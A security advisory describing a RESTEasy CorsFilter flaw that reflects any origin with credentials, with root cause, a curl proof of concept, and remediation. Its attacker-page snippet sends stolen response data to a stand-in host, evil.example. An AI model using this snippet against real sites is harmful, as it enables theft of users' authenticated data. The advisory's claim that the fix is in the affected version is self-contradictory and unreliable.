REDHAT-BUG-2519775: CSRF
RESTEasy CorsFilter Reflects Arbitrary Origin with Credentials under Wildcard Config
| Field | Value | |-------|-------| | Component | resteasy-core (RESTEasy / JBoss / Red Hat) | | Affected version | 7.0.2.Final | | Vulnerable class | org.jboss.resteasy.plugins.interceptors.CorsFilter | | Vulnerability type | CWE-942 Permissive Cross-domain Policy / CWE-346 Origin Validation Error | | Attack vector | Remote, cross-origin (malicious web page) | | Reproduction status | Reproduced |
Summary
CorsFilter defaults allowCredentials = true. When an operator uses the documented "accept all origins" mode by adding "" to getAllowedOrigins(), checkOrigin() accepts any origin, and the response filter reflects the concrete request Origin back in Access-Control-Allow-Origin (not the literal ) together with Access-Control-Allow-Credentials: true. This is exactly the CORS misconfiguration the browser spec forbids for ; RESTEasy re-introduces it by reflecting the concrete origin, allowing any malicious site to perform credentialed cross-origin reads of authenticated responses.
CVSS 3.1
Base score: 6.5 (Medium) — CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Root-cause analysis
CorsFilter.java: java protected boolean allowCredentials = true; // line 27 (dangerous default) // checkOrigin (line 170-175): passes if "" present if (!getAllowedOrigins().contains("") && !getAllowedOrigins().contains(origin)) { throw ... } // response filter (line 131-134): reflects concrete origin + credentials responseContext.getHeaders().putSingle(ACCESSCONTROLALLOWORIGIN, origin); if (isAllowCredentials()) responseContext.getHeaders().putSingle(ACCESSCONTROLALLOWCREDENTIALS, "true");
Reproduction
Environment RESTEasy 7.0.2.Final embedded in Undertow, JDK 21. CorsFilter registered as a singleton with cors.getAllowedOrigins().add(""). Resource: java @Path("/cors") public static class CorsResource { @GET @Produces("text/plain") public String cors(){ return "secret-account-data"; } }
POC bash curl -s -i -H "Origin: https://evil.example" http://127.0.0.1:8080/cors | \ grep -i "access-control-allow"
Observed output (actual) Access-Control-Allow-Origin: https://evil.example Access-Control-Allow-Credentials: true
Attacker page html <script> fetch('https://api.victim/cors', {credentials:'include'}) .then(r => r.text()).then(d => fetch('https://evil.example/collect?d='+encodeURIComponent(d))); </script> Because the response carries ACAO: https://evil.example + ACAC: true, the browser hands the authenticated response body to the attacker's script.
Impact Any malicious origin can read authenticated, per-user responses (account data, tokens embedded in responses, CSRF tokens) from a victim's browser session — a full cross-origin confidentiality breach.
Remediation 1. When allowedOrigins contains "" and allowCredentials is true, do not reflect a concrete origin — emit Access-Control-Allow-Origin: and drop credentials (spec behavior), or require an explicit origin allowlist. 2. Default allowCredentials to false.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
resteasy-core (RESTEasy / JBoss / Red Hat)to a version that resolves this vulnerability.Fixed in 7.0.2.Final - Configuration
Set CorsFilter allowCredentials to false (dangerous default is allowCredentials = true; line 27).
org.jboss.resteasy.plugins.interceptors.CorsFilter allowCredentials = false
Event History
Frequently Asked Questions
Is a default RESTEasy deployment affected?
The vulnerable behavior requires an operator to configure CorsFilter with "*" in getAllowedOrigins(). However, allowCredentials defaults to true, so deployments using that documented accept-all-origins configuration are exposed unless they explicitly change the credential setting.
What does an attacker need to exploit this?
An attacker needs to host or control a malicious web page that a victim visits. The victim must have credentials for the targeted application so that the browser sends an authenticated cross-origin request and allows the attacker to read the response.
How can I determine whether my application is exposed?
Review CorsFilter configuration for "*" in getAllowedOrigins(), especially where allowCredentials has not been disabled. A request with an arbitrary Origin should not receive that concrete Origin in Access-Control-Allow-Origin together with Access-Control-Allow-Credentials: true.